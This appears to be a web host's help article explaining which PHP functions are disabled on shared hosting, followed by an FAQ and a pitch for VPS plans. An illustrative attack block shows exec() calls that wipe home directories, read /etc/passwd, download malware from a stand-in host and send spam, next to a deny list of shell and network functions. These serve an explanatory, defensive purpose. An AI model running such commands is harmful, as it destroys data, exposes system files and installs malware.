PHP Disabled Functions on Shared Hosting Print

ℹ️ Applies To:

• All cPanel Shared Hosting Plans
• All DirectAdmin Shared Hosting Plans

🚨 Example Attack Scenario:

  // If exec() was enabled, an attacker could run:
  exec('rm -rf /home/*');           // Delete all user data
  exec('cat /etc/passwd');          // Read system files
  exec('wget malware.com/virus');   // Download malware
  exec('mail -s "Spam" victim@..'); // Send spam from your server

⚠️ Why Network Functions Are Dangerous:

• SSRF Attacks (Server-Side Request Forgery): Access internal services like databases, admin panels, and cloud metadata APIs
• Data Exfiltration: Silently send stolen customer data (credit cards, passwords, personal info) to external attacker servers
• Botnet Participation: Make your server part of a network used for DDoS attacks
• Spam Distribution: Send thousands of spam emails through your server
• IP Blacklisting: Server IP gets blacklisted, affecting email delivery for ALL customers on the server

💡 Alternative for phpinfo():
To check PHP configuration, use SSH terminal:
php -i | less

exec, passthru, shell_exec, system, proc_open, popen, proc_close, proc_get_status, proc_nice, proc_terminate, curl_exec, curl_multi_exec, fsockopen, pfsockopen, stream_socket_client, stream_socket_server, socket_create, socket_connect, socket_bind, socket_listen, socket_accept, show_source, highlight_file, dl, symlink, link, pcntl_exec, pcntl_fork, pcntl_signal, pcntl_waitpid, pcntl_wexitstatus, pcntl_alarm, pcntl_async_signals, posix_kill, posix_mkfifo, posix_getpwuid, posix_setpgid, posix_setsid, posix_setuid, posix_setgid, posix_seteuid, posix_setegid, posix_uname, phpinfo, apache_child_terminate, apache_setenv, define_syslog_variables, escapeshellarg, escapeshellcmd, ini_alter, virtual, openlog, syslog

✅ These Functions WORK Normally:

cURL Functions: curl_init() curl_setopt() curl_getinfo() curl_error() curl_close()	File Functions: file_get_contents() fopen() / fread() / fwrite() file_put_contents() copy() / rename() / unlink()
Database Functions: All MySQL/MySQLi functions All PDO functions	Other: mail() - Email sending json_encode() / json_decode() All standard PHP functions

VPS (Virtual Private Server) hosting gives you complete control over your server environment.

VPS Benefits: ✅ No function restrictions ✅ Full root access ✅ Custom PHP configuration ✅ Dedicated resources (CPU, RAM) ✅ Install any software

Ideal For: 🛒 E-commerce stores 💳 Payment gateway integrations 📱 API-heavy applications 🎥 Media processing sites 👨‍💻 Developers needing full control

👉 View VPS Hosting Plans

Q: Can you enable these functions for my account only?

A: No. PHP's disable_functions directive is a server-wide security setting and cannot be overridden for individual accounts on shared hosting. This ensures consistent security for all customers.

Q: My WordPress site works fine. Why would I need these functions?

A: Basic WordPress functionality works without these functions. You only need them for specific use cases like payment gateway plugins (WooCommerce with Razorpay/Stripe), external API integrations, or image/video processing.

Q: Is this restriction unique to DomainIndia?

A: No. This is an industry-standard security practice. All major hosting providers (GoDaddy, Bluehost, Hostinger, SiteGround, HostGator) disable these functions on shared hosting for the same security reasons.

Q: How do I know if my application needs these functions?

A: Check your application's error logs. If you see errors like:
"curl_exec() has been disabled for security reasons"
"fsockopen() has been disabled for security reasons"
Then your application requires VPS hosting.

Q: Will upgrading PHP version enable these functions?

A: No. These functions are disabled across all PHP versions (5.6, 7.x, 8.x) on shared hosting servers.

Q: I'm running an e-commerce store. What should I do?

A: For e-commerce stores requiring payment gateway integration (Razorpay, PayU, CCAvenue, Stripe, PayPal), we strongly recommend VPS hosting. It provides the necessary functions plus better performance and security for handling transactions.